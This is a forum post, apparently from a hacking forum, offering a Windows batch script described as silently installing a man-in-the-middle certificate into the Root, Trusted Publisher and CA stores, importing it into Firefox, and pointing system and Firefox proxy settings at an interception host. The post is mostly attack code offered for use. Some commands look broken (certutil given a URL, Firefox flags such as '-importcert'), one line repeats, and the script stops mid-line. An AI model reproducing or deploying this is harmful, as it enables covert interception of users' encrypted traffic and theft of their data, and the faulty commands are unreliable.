Пожалуйста, обратите внимание, что пользователь заблокирован
This code will silently install MITM certificates into root and trusted publisher Authority stores for browser and network traffic interception. It also sets system proxy settings to your MITM host. Once achieved, can make your work a lot smoother and easier.
I'll give a slightly modified version with an extended function later.
I'll give a slightly modified version with an extended function later.
Bash:
@echo off
set certUrl=https://example.com/certificate.cer
set proxyIp=192.168.1.1
set proxyPort=8080
rem Install certificate into Root Authority store
certutil -addstore -f "Root" %certUrl%
rem Install certificate into Trusted Publishers store
certutil -addstore -f "TrustedPublisher" %certUrl%
rem Install certificate into Intermediate Certificate Authority store
certutil -addstore -f "CA" %certUrl%
rem Import certificate into Firefox
"C:\Program Files\Mozilla Firefox\firefox.exe" -silent -setDefaultBrowser -importcert %certUrl%
rem Enable and set system proxy settings
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyEnable /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer /t REG_SZ /d "%proxyIp%:%proxyPort%" /f
rem Enable and set Firefox proxy settings
"C:\Program Files\Mozilla Firefox\firefox.exe" -silent -setDefaultBrowser -pref "network.proxy.type=1" -pref "network.proxy.http=%proxyIp%" -pref "network.